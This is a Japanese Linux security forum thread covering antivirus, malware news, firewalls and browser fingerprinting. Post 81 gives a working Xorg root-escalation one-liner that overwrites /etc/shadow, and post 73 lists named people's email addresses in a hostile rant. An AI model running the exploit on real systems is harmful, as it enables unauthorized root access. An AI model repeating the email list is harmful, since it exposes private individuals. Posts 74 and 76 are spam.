Linuxセキュリティ総合スレ

Linuxセキュリティ総� ..

68:login:Penguin
17/07/03 23:36:13.34 cDHqg+NI.net
openssl enc -e -aes256
で暗号化してたファイルが、急に、
openssl enc -d ～
で開けなくなりました。
ファイルが壊れたかとめちゃくちゃ焦ったけど、
タイムスタンプは去年のまま変化なし。
本家から、1.0.2lを落としてコンパイルした実行ファイルからだと
問題なく開けたからファイルの問題ではない模様。
1.1.0のバグですか？
#確か2ヶ月前ぐらいだとパッケージインストールされている
1.1.0系でも問題なかったはずですが。
linux-mint(ubuntu16.04)です。

69:login:Penguin
17/07/04 01:23:11.94 RdyHvcf/.net
>>68
くだらねえ質問はここに書き込め！Part 228
ｽﾚﾘﾝｸ(linux板)
で聞いたほうが良いと思う

70:66
17/07/05 00:22:13.88 uEgHtGC3.net
>69
ありがとう。
次回からそうするわ。
ちなみに、今回のは下記参考に自己解決したっぽい。
-md md5付けたら、現行1.1.0でもファイル開けました。
URLﾘﾝｸ(github.com)
URLﾘﾝｸ(unix.stackexchange.com)

71:login:Penguin
17/09/07 19:37:24.22 NhVQ+S22.net
すまん誰か教えてくれ！
全くセキュリティーパッチを充てていないrhel6.1で、poodle対策をしなきゃいけないんだが、
設定変更だけで対処する場合は、ssl.confのcipherのところに -sslv3入れるだけで良い？

72:login:Penguin
17/10/16 19:17:31.78 AvEU8VfP.net
　　　　　　　　　　　。ｏ０○( zzzz… ）
　　　　　　　　_,,..,,,,_
　　　　　　　/ ,' 3／⌒ヽ-、_ 　　
　　　　　／l. 　/＿＿＿＿／
　　　　　￣￣￣￣￣￣￣　　

73:login:Penguin
17/11/03 21:09:20.77 UMEHXcXh.net
【日立製作所】焦土戦
セキュリティの基本は尖らないこと、目立たないこと。隠すこと。　バカ。
新名主　隆志 TIS shimmyozu.takashi@technopro.com
色田　眞吾日立製作所 Shikita.Shingo@technopro.com
八木　一暢 TIS yagi.kazunobu@technopro.com
水野　潤ﾊﾏｺﾞﾑｴｲｺﾑ Mizuno.Jun@technopro.com
佐々木　優也（首都圏第1支店案件） sasaki.yuya@technopro.com
佐々木　健太日立製作所 sasaki.kenta@technopro.com
中野　洋行 NSSLCサービス Nakano.Hiroyuki@technopro.com
永井　真祐子富士ｿﾌﾄ nagai.mayuko@technopro.com
品川区高輪3-25-33
都内のトイレに花子さんだ
日立の末端は、ただの派遣会社だからな。メーカーはどこも一緒か。。

74:login:Penguin
17/12/29 13:14:18.48 S/CsVkMC.net
誰でも簡単にパソコン1台で稼げる方法など
参考までに、
⇒　『宮本のゴウリエセレレ』というブログで見ることができるらしいです。
グーグル検索⇒『宮本のゴウリエセレレ』
HRT6GIPYTB

75:login:Penguin
18/04/11 07:03:34.17 9VtMkuZE.net
　　　　　　　　　　　。ｏ０○( zzzz… ）
　　　　　　　　_,,..,,,,_
　　　　　　　/ ,' 3／⌒ヽ-、_ 　　
　　　　　／l. 　/＿＿＿＿／
　　　　　￣￣￣￣￣￣￣　

76:login:Penguin
18/05/22 11:10:27.97 Czl6p0FW.net
僕の知り合いの知り合いができた副業情報ドットコム
関心がある人だけ見てください。
グーグルで検索するといいかも『ネットで稼ぐ方法　モニアレフヌノ』
BTBIK

77:login:Penguin
18/05/26 09:20:44.99 c6Ml0Dod.net
【緊急】LinuxベースのルーターやNASに感染するマルウェア「VPNFilter」、54カ国50万台に感染か
ｽﾚﾘﾝｸ(news板)l50

78:login:Penguin
18/05/26 12:43:59.58 H0+abEbN.net
大問題じゃないか

79:login:Penguin
18/05/27 16:31:34.31 QzfBv+yQ.net
Windowsのセキュリティにはうるさい犬厨もそっ閉じ。つまり、犬問題ｗ

80:login:Penguin
18/07/08 20:50:42.96 QTYf4jMn.net
　　　　　　　　　　　。ｏ０○( zzzz… ）
　　　　　　　　_,,..,,,,_
　　　　　　　/ ,' 3／⌒ヽ-、_ 　　
　　　　　／l. 　/＿＿＿＿／
　　　　　￣￣￣￣￣￣￣

81:login:Penguin
18/10/31 11:46:41.86 XLo7vX23.net
suid付きXorgを使ったroot昇格法
URLﾘﾝｸ(www.exploit-db.com)
cd /etc; Xorg -fp "root::16431:0:99999:7:::" -logfile shadow :1;su
xorgはフォントパスのリストをそのままログに書き込むことを利用してる
(shadowが上書きされるので試すならshadowのバックアップを取ってからどうぞ)

82:login:Penguin
19/03/10 12:39:41.95 BHkfBLF0.net
　　　　　　　　　　　　i"＼ ))
　　　　　　　　　　　　| 8　 )
　　　　　　　 ∧,,,∧∩-''"
　　　　　＿ ..(´･ω･`)彡　おぱんつおぱんつ ! !
　　　〃（＼ ∞ ,⊂彡
　　　　　｀ヽ)_ノ|　　　|　
　　　　　　　　し⌒Ｊ

83:login:Penguin
19/05/24 01:31:09.68 WQ5DwMzT.net
　　彡⌒ ミ
　 ( ´ ･ω･)　呼んだ ?

84:login:Penguin
19/05/31 12:30:43.06 bdQbsGXY.net
Linuxを狙うマルウェア「HiddenWasp」に注意　2019/05/31 06:55　後藤大地
URLﾘﾝｸ(news.mynavi.jp)
Intezerは5月19日(米国時間)、Linuxシステムを標的とした新しいマルウェア「HiddenWasp」を
発見したと「Intezer - HiddenWasp Malware Stings Targeted Linux Systems」で伝えた。
このマルウェアは現在も活動を継続しており、主要なアンチウィルスシステムで検出することが
できないと指摘されている。発見されたHiddenWaspの主な特徴は以下の通り。
・Linuxマルウェアの多くは仮想通貨マイニングやDDoS攻撃に焦点を当てているが、HiddenWasp
は異なっている。HiddenWaspはトロイの木馬として設計されており、標的のシステムを純粋に
リモートコントロールするために開発されている
・HiddenWaspに感染しているユーザーはすでに標的型攻撃のターゲットになっている可能性が
高い
・HiddenWaspはMiraiやAzazelルートキットといった入手可能なオープンソース・マルウェア
から大量のソースコードが流用されている
・HiddenWaspは中国のマルウェアファミリーに強い類似性があるものの、帰属に関しては可能
性が低いと見られる
Intezerは、Linuxを標的としたマルウェアは時間の経過とともにますます複雑になり続けている
と指摘。現在、一般的な脅威でも検出率があまり高くないが、より高度な脅威はさらに検出率が
低いという。今後、Linuxを標的としたマルウェアはさらに検出が難しくなるおそれがあり、
注意が必要。

85:login:Penguin
19/06/01 00:37:42.11 /N3jDoCj.net
>>84
これはひどい
俺が唯一Linuxに移行できない理由がアンチウイルスソフトだからな
Windowsのノートンみたいに完璧なのがあれば、ノートン一つで完全に防げるけど、
Linuxにはこれがないからな
SophosAntiVirusがあるが、なぜか定義ファイルの更新が20日異常ないぞ(気のせい？)
RKHunter、Tripwire、Lynis、Firewallとかだけとかありえんだろ？

86:login:Penguin
19/06/01 03:51:20.70 BeN0lDY7.net
Linuxだから安全です。

87:login:Penguin
19/06/01 08:23:33.96 0WGBvA8D.net
ウィルス検体を各所に送り対応が早いとこは半日だったが
ノートンは3日後だったことがあった

88:login:Penguin
19/06/01 23:05:01.15 aQmSSgBv.net
>>85
毎日更新してるんじゃないかな
ノートンやトレンドマイクロが対応してない最新のウィルスを先んじて検出したことがあったし、古い日付になってる定義ファイルはベースとなるやつの日付だと思ってる。

89:83
19/06/02 01:29:08.34 Zexh2AIq.net
$ sudo /opt/sophos-av/bin/savupdate
次のバージョンをアップデート中です - SAV: 9.15.1、エンジン: 3.74.2、データ: 5.63
Updating Sophos Anti-Virus....
Updating SAVScan on-demand scanner
Updating Virus Engine and Data
Updating Manifest
Update completed.
次のバージョンにアップデートしました - SAV: 9.15.1、エンジン: 3.74.2、データ: 5.63
sdds:SOPHOS からの Sophos Anti-Virus のアップデートに成功しました

$ sudo /opt/sophos-av/bin/savdstatus --version
Copyright 1989-2018 Sophos Limited. All rights reserved.
Sophos Anti-Virus = 9.15.1
ビルドのリビジョン = 2793374
脅威検出エンジン = 3.74.2
脅威データ = 5.63
検出脅威数 = 35620036
脅威データリリース日 = 2019年05月07日 00時00分00秒
前回アップデートを確認した日時 = 2019年06月02日 01時01分28秒

と脅威データリリース日がずっと5/7のままなんだよね
これでも最悪1日毎には更新してるのかね？
ノートンだと1時間に1回は更新してるっぽいけど
更新しててくれてると助かるのだが

90:83
19/06/02 01:30:11.25 Zexh2AIq.net
>>87-88へね

91:83
19/06/03 00:52:09.01 LINEVdyy.net
>>87-88
ここ見たらやはり1日1回ぐらいは更新されてそう
実際俺のSophosは普通に6/2更新されてた
どうも"脅威データリリース日 = 2019年05月07日 00時00分00秒"と
ウイルス定義ファイル更新日は違うらしい
ウイルス定義ファイル更新日もちゃんと書けよ＞Sophos

Sophos Anti-Virus: ウイルス定義ファイル (IDE ファイル) が最新の状態にアップデートされているかどうかを確認する方法
URLﾘﾝｸ(community.sophos.com)

92:login:Penguin
19/06/03 02:02:29.21 jJq3PPoG.net
野良アプリをたくさん入れるWindowsではウイルス検知ソフトが不可欠だね。

93:login:Penguin
19/06/03 02:06:37.36 jJq3PPoG.net
しかし、経験上、ウイルス検知ソフトはそれほど当てにできない。
世に知れ渡っていないウイルスが仕込まれていた場合に
ウイルス検知ソフトがそれを正しく検出してくれることはまれ。
何ヶ月か何年かあとになって改めてチェックしてみると検出される場合がある。
でもダウンロードあと、そこまで待ってインストールする人はいない。

94:login:Penguin
19/06/03 08:05:48.00 eMJGOUo4.net
>>84
これの元記事によるとvirustotalで引っかからない
URLﾘﾝｸ(www.intezer.com)
つまりノートンだろうが何だろうが脅威としないで放置されるということ
感染経路はわからんが野良危険ということだろう

95:login:Penguin
19/06/03 22:51:46.35 sgwkICkl.net
>>84
これは具体的にどう注意したらいいんだ？

96:83
19/06/03 22:56:08.11 LINEVdyy.net
やはり、Sophosのウイルス定義ファイル更新は1日1回はあるな
↓となってるから(途中に更新あったかは知らんが多分ないだろ)
昨日
<published>2019-06-02T13:03:35</published>
今日
<published>2019-06-03T13:07:34</published>

97:login:Penguin
19/06/04 11:45:07.22 JnEdCGFR.net
ソフォス個人情報入れないとダウン出来ないの？

98:83
19/06/04 23:57:45.16 8eAlB9kG.net
>>97
全部、適当に入れればいいよ
メアドは@と.orgとか.comは入れないとだめだけど、これも適当で大丈夫

99:login:Penguin
19/06/05 09:35:56.10 2u//H+UO.net
電話番号とか住所も？

100:login:Penguin
19/06/05 21:45:09.38 1PL8mpQb.net
電話番号、住所って書く欄あったっけ？
あったとしても、100%適当で通るよ
役職･法人名も適当でおk
国、県、郵便番号は日本、東京、1000000でおk
ちなみにLinux版はこれね
URLﾘﾝｸ(secure2.sophos.com)
URLﾘﾝｸ(www.sophos.com)
ここからいって普通に全部適当に入力しおわったら、自動でダウンロード始まるよ

101:login:Penguin
19/06/06 13:34:15.13 Vt0/9sNy.net
>>100
都道府県がなぜか受け付けてくれない

102:login:Penguin
19/06/06 20:22:08.58 yFuR+pcY.net
>>101
先に国名で｢日本｣選んだら都道府県欄に▲▼が出て、普通にマウスクリックで｢Tokyo｣が選べるようになるでしょ
国名：　日本
都道府県：Tokyo
郵便番号：100-0000
で大丈夫だよ

103:login:Penguin
19/06/07 09:06:17.12 boyNvVP0.net
>>102
▲▼が出てこない

104:login:Penguin
19/06/07 20:09:33.53 /Sk2vmHZ.net
ブラウザでsophos.comのCookeiとJavaScriptオンにしないとだめだよ
オフになってるんじゃない？

105:login:Penguin
19/06/07 21:33:16.30 yVEJ6IS3.net
Symantec Endpoint ProtecitonｍｐLinux用クライアントをインストールしてみたんだが、あかんファイルは警告無く消し、しかも事後報告が無いのな
これはちと使えないわ

106:login:Penguin
19/06/07 23:40:08.48 /Sk2vmHZ.net
Symantecのって無料版あったっけ？

107:login:Penguin
19/06/08 02:35:25.81 /huWGbTD.net
Symantec Endpoint Protection for linux良さそうだが、
1年間9500円アップグレード4700円って高いな
ライセンスだけでメンテナンス不要版もあるの？

値段はここの43ページ
URLﾘﾝｸ(www.symantec.com)

108:login:Penguin
19/06/10 15:44:13.86 9N/TTeW/.net
LinuxでUEFIスキャナーがついたアンチウィルスソフトってありますか？
ESETはWIn版にはあるみたいだけど、Linux版にはないみたいだし。
UEFIの脆弱性(Intel ME)を考えたらLinuxパソコンの最大の弱点はUEFIだと思うのですが。
オープンソースで誰か作ってくれないかな・・・

109:login:Penguin
19/06/18 02:35:54.34 AVJfVicP.net
マイクロソフト、Azure顧客にEximワームに注意を呼びかけ
Catalin Cimpanu （ZDNet.com）翻訳校正：編集部 2019年06月17日 10時47分
URLﾘﾝｸ(japan.zdnet.com)
　Microsoftは米国時間6月14日、「Exim」経由で拡散するLinuxのワームについて、一部の
Azureも影響を受けるとしてAzure顧客向けに警告を出した。
　このワームは米ZDNetが6月13日に最初に報じ、その後詳細情報がレポートされたもので、
CVE-2019-10149の脆弱性を利用してEximメールサーバーに感染する。この脆弱性は、悪用
されると攻撃者が遠隔からコマンドを実行してパッチを当てていないシステムを乗っ取る
ことができるというものだ。
　ワームはこの脆弱性を利用してサーバーを乗っ取り、他のサーバーをスキャンして感染を
広げようとする。そして乗っ取ったホストに暗号通貨マイニングを投下する。
　Eximはメール転送エージェント（MTA）で、Linuxベースの電子メールサーバー上で動かし
送信者から受信者に電子メールのリレーを行う。このワームはEximが動くサーバーを狙う。
　Microsoftが14日に出した警告によると、Azureインフラもこのワームの影響を受けると
いう。幸い、Azureインフラは「このワームの拡散を制限するのを助けるための制御」を
敷いているとMicrosoftは述べている。(後略)

110:login:Penguin
19/06/18 17:26:10.39 6P/bvjY8.net
Netflix報告： Linux Kernel又はFreeBSDのリモートから攻撃可能な脆弱性(TCP SACK
PANIC) (CVE-2019-11477, CVE-2019-11478, CVE-2019-11479, CVE-2019-5599)
2019年6月18日 05:11　Kazuki Omo
URLﾘﾝｸ(security.sios.com)
こんにちは。SIOS OSSエバンジェリスト/セキュリティ担当の面和毅です。
06/17/2019にNetflixからFreeBSDとLinux Kernelに対して、幾つかのTCPの脆弱性に関する
アドバイザリーが出されました(CVE-2019-11477, CVE-2019-11478, CVE-2019-11479,
CVE-2019-5599)。アドバイザリーは最小セグメントサイズ(MSS)とTCP SACKに関するものに
なります。最も深刻な「SACK Panic」と呼ばれるものは、最近のLinux Kernelにリモート
からKernel Panicを引き起こすことができます。Netflixの方でPatchも提供されています。
今後も情報が出てくると思われますので、こちらで取り上げます。
逐次情報は更新していく予定です。

111:login:Penguin
19/06/22 09:34:44.67 BWxAJ8Sj.net
>>110に関連して、アップデートが大量に来ている。
また、
◆snapアプリのアップデートはaptコマンドでは不可能である。
初心者向けに、Ubuntuを例にセキュリティーアップデートの手順を示す。（Kubuntu、Xubuntu、LubuntuなどのUbuntuフレーバーたちも同じ）
（１）ターミナルを開き、下記のコマンドを打ち、最新情報を取得する。
$ sudo apt update
（２）最新の情報が取得され、システムは最新ですとの表示が出たら（４）に飛ぶ。もし、アップデートの必要のあるパッケージがあることが示されたら、次のコマンドを打ち、パッケージをダウンロードしてインストールする。
$ sudo apt -y upgrade
ちなみに「-y」オプションは付けても付けなくても良いが、付けなかった場合には、インストール直後に本当にインストールして良いを［Y/N］と表示して確認してくる。この場合はYesを意味するYを押すことでインストールが始まる。
「-y」オプションを付けるとこの手順が飛ばされてダウンロードが完了次第、すぐにインストールが開始される。
（３）次の２つのコマンドは、それぞれ上記のコマンド実行の結果として、不要となった古いパッケージ、不要となったキャッシュを削除する。掃除であるから実行はたまにで良いが、ストレージ容量が少ない環境の人は頻繁にやるべきだろう。
$ sudo apt autoremove
$ sudo apt autoclean
（４）次にsnapアプリの更新を行う。
$ sudo snap refresh
snapアプリをインストールした覚えが無くとも、システムがsnapを使っているため必ず実行すること。例えばGNOMEシェルはsnapであり、Ubuntu18.04.x LTSはすでに更新の必要が出ているので、未実行であれば直ぐに実行し最新版にしよう。
GUIからはすべてのアップデートや掃除はできない。取り分けsnapは（４）の手動アップデートでなければ更新できない。
出来るだけ毎日、しっかりアップデートを行い、セキュアなLinuxライフを送ろう。

112:login:Penguin
19/07/03 23:55:13.69 OptOlEBI.net
>>1
Linuxなんて使わない。

以上。

113:login:Penguin
19/09/29 21:20:57.29 Nip3Jzi1.net
　彡⌒ミ
　（,,・_・）.｡ｏＯ（毛深くなりたい・・・ )
ヾ(,_ｕｕﾉ

114:login:Penguin
19/10/13 01:09:29 ueikBXbu.net
Google､Androidアプリでアップデートを各ユーザーに強制する方法を発表 | TechCrunch Japan
URLﾘﾝｸ(jp.techcrunch.com)

115:login:Penguin
19/10/25 00:20:33.72 j4GkuklA.net
>>6
それ違う
負けないためには、だね
コモドでいいよな？

116:login:Penguin
19/12/12 00:50:01.16 jaG34Ck9.net
IntelのCPUに脆弱性 [402859164]
ｽﾚﾘﾝｸ(poverty板)
供給電圧を変化させてプロセッサを攻撃する新ハッキング手法「プランダーボルト」が発見される | TechCrunch Japan
URLﾘﾝｸ(jp.techcrunch.com)
Plundervolt
URLﾘﾝｸ(plundervolt.com)

17 名前：番組の途中ですがアフィサイトへの転載は禁止です (ﾜｯﾁｮｲWW 2bc5-3D6L)[sage] 投稿日：2019/12/11(水) 21:19:15.97 ID:x8hKACYL0
電圧変えて何すんのよ
システムダウン？
19 名前：番組の途中ですがアフィサイトへの転載は禁止です (ﾌﾞｰｲﾓ MM39-B8XO)[sage] 投稿日：2019/12/11(水) 21:24:40.54 ID:/b3E3oTYM
>>19
プロセッサ内で隠蔽されている暗号鍵を取得する。Blurayの暗号鍵もインテルの脆弱性で割れた
26 名前：番組の途中ですがアフィサイトへの転載は禁止です (ｱｳｱｳｴｰ Sa13-MFI9)[sage] 投稿日：2019/12/11(水) 22:31:10.46 ID:g2xDg2x0a
>>19
エラーが起きたと思って秘匿領域のデータをダンプするんだってさ

117:login:Penguin
19/12/12 02:35:29.36 QpDguOY0.net
Linuxだから安全です。

118:login:Penguin
19/12/12 19:43:32.89 jaG34Ck9.net
>>116続き
44 名前：番組の途中ですがアフィサイトへの転載は禁止です (ﾜｯﾁｮｲ 5720-kui+)[] 投稿日：2019/12/12(木) 00:45:08.31 ID:gd2ZuGmF0 [1/2]
>1>21>28
なにこれ？
PC起動してないとCPUコントロール出来ないよね？
もしかして､ハードディスク暗号化してるPCを起動して､
暗号化解除する前にこの脆弱性使うと暗号化解除出来ちゃうとか？
>プロセッサ内で隠蔽されている暗号鍵
>秘匿領域
ここに何が格納されてるのか分からん
スーパーハッカー解説お願いします｡
54 名前：番組の途中ですがアフィサイトへの転載は禁止です (ﾜｯﾁｮｲ e228-kui+)[] 投稿日：2019/12/12(木) 03:25:28.44 ID:QS0Nrunu0
>>46
ハードディスク暗号化してるPCを起動して､暗号化解除して使用してる最中に、
この脆弱性を使うとCPUが隠してた暗号鍵を見ることができる
63 名前：番組の途中ですがアフィサイトへの転載は禁止です (ｱｳｱｳｴｰ Sa3a-0Ppm)[sage] 投稿日：2019/12/12(木) 05:18:32.13 ID:nA2cuX1+a
>>53
電圧いじれる（管理者）権限があってもSGXでやり取りされてる内容が見られないってのがウリの機能なので
UHD-BDの暗号化解除機構に使われてるんやで
55 名前：番組の途中ですがアフィサイトへの転載は禁止です (ﾜｯﾁｮｲWW 5720-AQmm)[] 投稿日：2019/12/12(木) 03:55:03.70 ID:gd2ZuGmF0 [2/2]
>>56
それは結構やばいなあ
まあ、暗号化解除前では意味なさそうなのが救いだな
てか、cpuってハードディスクの暗号化解除後もcpu内に暗号を常時置いとくもんなの？

119:login:Penguin
19/12/13 19:09:08.80 ESmGY9a7.net
>>117
コアダンプしそう

120:login:Penguin
19/12/13 19:14:21.26 ESmGY9a7.net
Ubuntuアップデートしたらマイクロコード降ってきたけどこれかね
流石にそこまで早くないか

121:login:Penguin
19/12/16 00:27:12.94 Oy6287lw.net
MicrosoftがUbuntu用のDefender出すんだって？

122:login:Penguin
19/12/16 05:28:15.87 AxOoqKNy.net
LinuxサーバーはAzureしか選択肢が無くなったかもかも。

123:login:Penguin
19/12/16 06:38:47.87 AxOoqKNy.net
iOSもカバーしてるからAzureが本命かもしれないよ。
WSLがどうでも良いわけじゃないだろうけど。

124:login:Penguin
19/12/16 20:16:03.60 F52Y2AF9.net
>>121
MSの個人情報搾取に耐えかねてubuntuに逃げてきたのに
追いかけてくるってか...

125:login:Penguin
19/12/17 02:23:31.85 eJqKdH1L.net
>>124
MSってそんな個人情報抜いてるの？
Skypeで抜いてるのにはびびったが｡
あれはそこそこ信用してただけにびっくりした｡
Skypeごときの情報抜かないだろうって思ってた｡
MSってGoogle並みに個人情報抜いてるの？
Googleは怖くて使えんわ
あんなの住所氏名電話番号全部バレてるだろ

126:login:Penguin
19/12/17 03:54:51.93 +GuS9PLu.net
くこの板の一部の信者はMSに親を殺された！とかわめいてるけど、実はgoogleの方がヤバいっていうね

127:login:Penguin
19/12/17 07:05:33.11 BN1fWjc1.net
ユーザーはキンタマ握られてるから誰も言わないだけで一番ヤバいのはApple

128:login:Penguin
19/12/17 10:14:03.65 d36jgmOT.net
最近はWindowsのアカウント作る時にできるだけMSアカウントを
作らせるよう誘導してくるな
Win8あたりからだった記憶があるけど、Win10が大型アップデート
するたびにどんどん露骨になってる印象

129:login:Penguin
19/12/17 10:37:04.71 h64x6iyX.net
たしかに。

130:login:Penguin
19/12/17 21:04:10.21 IhVBQ6dn.net
OS以外のファイルはゴッソリ抜かれてるのに
Windows10とかOffice365とか無思慮にまして仕事で使ってるヤツの気が知れんわ

131:login:Penguin
19/12/17 21:15:21.09 486GIvh4.net
チョロメや考えなしに派生したクロを入れるのも
泥棒の手を引いて家ん中案内するようなもんだしね

132:login:Penguin
19/12/18 13:16:10.19 b8AkMopr.net
どれ使うのがええのん？
opensuseとfirefox？

133:login:Penguin
19/12/18 20:51:19.26 ng+ewP2B.net
俺はwinの時sandboxie上でcookieや履歴の設定をユルユルにしたfirefox使ってweb見終わったら丸消ししてたんだが
ubuntuにしてからは気軽に使えるsandboxが見当たらないんで仮想マシンにZorin LiteとFirefoxだけ入れてzipして
やはりweb見終わったら仮想マシン丸消ししてその都度zipから戻してる
多少手間だがこれならいくらcookieやcanvas喰おうがいつもキレーなブラウザでインターネッツできると思ったんだけどね
砂箱スレでdockerもススメられたけど dockerはなんか違うかな？と思ったわ

134:login:Penguin
19/12/18 23:21:12.25 Ghj3q23V.net
【緊急警告】Google Chrome、Windows PC上の事実上全てのファイルを恒常的にスキャン
ｽﾚﾘﾝｸ(news板)

135:login:Penguin
19/12/19 13:08:27.51 eQXTO88z.net
>>132
firefoxに余計な機能をブロックするuser.jsを育てたものを使ってる
デフォルトだとGの手が伸びてるし（safebrowsing）、テレメトリその他有効になってる…
GNUのicecat（firefox系）も良い感じ
 >>133
firejail --private=<専用の一時ホームディレクトリ>　とか？
canvasは個別に対応が必要だと思う

136:login:Penguin
19/12/19 15:29:49.65 hhS7ytBr.net
>>135
user.jsは一時期手を出してみたけど「これワザとやってんじゃないの？」っていうくらいあの設定ワードって言うの？
about:configで左側に表示されるワードが余りに頻繁に変更されるんで根負けしてバンザイしたわ
＞canvasは個別に対応が必要だと思う
とりまCanvasBlock入れてるけどOPTIONは内容が意味フで何言ってるかわかんないから手がつけられないでいるわ
やっぱ色々と設定いじった方がいいもんなの？

137:login:Penguin
19/12/20 02:13:31.46 3v00n4yQ.net
operaやvivaldiはどんな評価やろ

138:login:Penguin
19/12/20 08:11:46.30 W5p7NQnV.net
GoogleがChromeやFirefox以外のブラウザを弾くようになって無理

139:login:Penguin
19/12/20 20:28:03.18 BMpjrsOC.net
つ参考
Browser Fingerprinting対策ツールの評価(pdf)
URLﾘﾝｸ(ipsj.ixsq.nii.ac.jp)
Web Browser Fingerprint解説ページ
URLﾘﾝｸ(www.saitolab.org)

140:login:Penguin
19/12/21 16:40:49.62 P2W6B/wx.net
まじで教えてチョメ　クロ　危ないんですか？
火狐は大丈夫なら　前２者は早速削除したいと思います。

141:login:Penguin
19/12/21 16:56:46.98 P2W6B/wx.net
Sicklylifeさんはファイアーウオールは有効にしなくてもよい
とありますので、設定していませんが、入れれば幾らかでも
安全になるのでしょうか

142:login:Penguin
19/12/21 20:37:04.76 8u1F/kP3.net
>>140
Linux用ブラウザーを狙う奴なんていないから心配すんな。
あ、ブラウザー拡張機能は別な。拡張機能はOS問わずヤバいものがあるかもしれん。
>>141
例えばUbuntu新規インストしてupdate、dist-upgrade、rebootした後、
すぐにgufw入れてファイアーウォール有効にしても意味ないでしょ。
よく分かんないなら、とりあえずファイアーウォールは有効にしとけば？

143:login:Penguin
19/12/21 21:33:25.68 2yt7G6Gl.net
>>140
チョロメが個人情報泥棒ブラウザなのは周知の事実
何年か前からwin10にタメ張ってかなり大規模に盗みやってるらしいゾ
Win版のチョロはアンインストールしても泥棒機能はOSの深いトコで生き続けるらしいから
もし無しにしたいのならOSの入れ直ししかねーんじゃね？
そんでせっかく金使って開発した泥棒機能をLinux版には入れていないなんて甘い見通しは無いと思うが？
ゴキグルから見たらwinユーザーもLinuxユーザーも同じ金だろうに
クロムもソースからゴキグルと通信する部分を削除していないのはアウトだと思っていーんじゃね？

144:login:Penguin
19/12/22 05:32:17.57 F7RmFDTN.net
>>141
セキュリティは上がる、とは言える
最初はgufw,慣れればiptablesがおすすめ（FWというかネットワークの詳細なコントロールが出来る）
例えばFW無しだと、WANインターフェイスか0.0.0.0でリッスン中のプロセスがあれば外から繋がる
これが設定ミスや脆弱性から悪用に発展する可能性、どんなプログラムを走らせてるのかバレる、DOSの可能性
ルーターの内側に居ればベーシックなFWの内側に居るのに近いけど、アプリがUPnPで勝手にルーターでポートを開ける事も無理じゃない
LAN内の相手からは普通に繋がるし、必ずしもルーターの内側にいるのか？リッスン中のアプリに設定ミスや脆弱性は無いのか？
FWはそういう可能性をカット出来る（公開する意図のない宛先には）
不要なアタックサーフェイスは狭めるのがセキュリティの基本

145:login:Penguin
19/12/22 10:24:37.91 QiAxui6d.net
小手先だけで、基礎の教養なしにubuntu を使っている小生には
ほとんど判りませんが、兎に角拡張機能は避ける、fireWallは有効にしてみました、
ご教示有難う存じました。

146:login:Penguin
19/12/23 03:58:31.72 fOOPeHWr.net
>>136-137
Canvasってなんだっけ？
CanvasってJavaScriptオフだと機能しないよね？
俺の勘違い？

147:login:Penguin
19/12/23 04:06:22.21 fOOPeHWr.net
Ubuntu18.04使用でブラウザはFirefox､Torbrowserしか入れてないわ
Chromeは論外で他に選択しないからこの2つ以外入れてない
Torスレでもなんか話題になってたけど､
普通のブラウジングするのにTorbrowserのTor機能だけ切るのはどうなの？
TorBrowserもFirefox基盤だけど､
>>135の
＞デフォルトだとGの手が伸びてるし（safebrowsing）、テレメトリその他有効になってる…
にはなってないよね？
なにせTorBrowserだし･･･

148:login:Penguin
19/12/23 04:54:54.78 fOOPeHWr.net
>>133
＞ubuntuにしてからは気軽に使えるsandboxが見当たらないんで
＞仮想マシンにZorin LiteとFirefoxだけ入れてzipして
＞やはりweb見終わったら仮想マシン丸消ししてその都度zipから戻してる
なんでこんなめんどくさいことしてるの？
普通にFirefoxの全履歴削除すれば全部消えるんじゃないの？
UbuntuのJournalに履歴とか残るから？

149:login:Penguin
19/12/23 10:49:30.08 1IWvct7N.net
iptablesはもう古いよ
これからはnftablesだよ

150:login:Penguin
19/12/23 12:05:01.09 x1WXtyaO.net
履歴ｗ

151:login:Penguin
19/12/23 17:23:14.88 Y4WL5T53.net
Oracle Linux の SELinux を disabled にしたら SSH で接続できなくなるのはなぜですか？

152:login:Penguin
19/12/24 11:41:20.66 NeirOfqJ.net
>>146
ここで言ってるのはfingerprinting技術
WEBにアクセスした時に、環境ごとにユニークな値を生成させて取得（同時にIPや他情報もなるべく取得）
その後IPを変えようがcookieやら消そうが同じようなユニークな値を取って紐付ければ特定に繋がる
ブラウザだとcanvas,audio,rectその他がフィンガープリントするのに使えるらしい
こんな追跡の仕方、技術の悪用に近いと思うけど…、色んな建前を使って取得＆追跡されるのが常だからな
JSを切ればcanvasでは取れないような…？他もかなり良くなる
 >>147
利便性とのバランスもあるけど、プライバシー重視なら俺もTor切ったTorBrowserは手っ取り早いと思う
プロ？集団がプライバシー重視でアンチフィンガープリンティングにも力を入れて設定＆開発したんだ
公式でTor無しバージョンもリリースすれば良いのに
もちろんGやテレメトリその他色々無効になってる（about:configで確認出来る）

153:login:Penguin
20/01/28 22:15:11 zrSY3ZQs.net
無料ウイルス対策ソフトのアバストAvast、おまえらのネット閲覧データを販売か？ [594632409]
ｽﾚﾘﾝｸ(poverty板)

無料ウイルス対策ソフトのアバスト、ユーザーのウェブ閲覧データを販売か
Carrie Mihalcik （CNET News）翻訳校正：編集部2020年01月28日 11時07分
ウィルス対策ソフトウェアメーカーAvastが、Jumpshotという子会社を通して「機密性の高い」ウェブ閲覧データを販売していると報じられている。
URLﾘﾝｸ(japan.cnet.com)

154:login:Penguin
20/01/28 22:26:23 msT/XQYC.net
Linuxに関係あるんか？

155:login:Penguin
20/01/28 22:30:53 meBmn7jU.net
やはり、営利企業がリリースするウィルス対策ソフトには、
用心したほうがいいんでしょう。そもそもなにゆえ無料なのか…

avast は Linux用もあるからね。

156:login:Penguin
20/01/28 22:39:50 msT/XQYC.net
Linux版も無料なのか？

157:login:Penguin
20/01/28 22:49:55 meBmn7jU.net
>>156
今は知らんけど、過去にはあった。

158:login:Penguin
20/01/28 22:52:43 meBmn7jU.net
CNET News 翻訳記事の中には、
「ユーザーのプライバシーと、当社の主力セキュリティ製品で必要なデータ利用とのバランスをとる責任」があることを理解し、重くとらえていると述べている。
と、こんな記事があるのね。これはGoogleの利用許諾とよく似ているねえ。
やはり、ビッグデータを収集したいわけだ。そうじゃなきゃ、無料はおかしい。

159:login:Penguin
20/01/28 22:58:30 msT/XQYC.net
>>157
今はないとしたらほぼ影響はないか

160:login:Penguin
20/01/28 23:02:40 meBmn7jU.net
>>159
今ないのかどうかは知らないし、avast サイトをのぞきたくはないし。

161:login:Penguin
20/01/28 23:07:56 msT/XQYC.net
>>160
検索するくらいは出来るでしょ
なさそうだけど

162:login:Penguin
20/01/28 23:09:01 YOaQ6DqC.net
数年前に中華資本になったんだっけ？

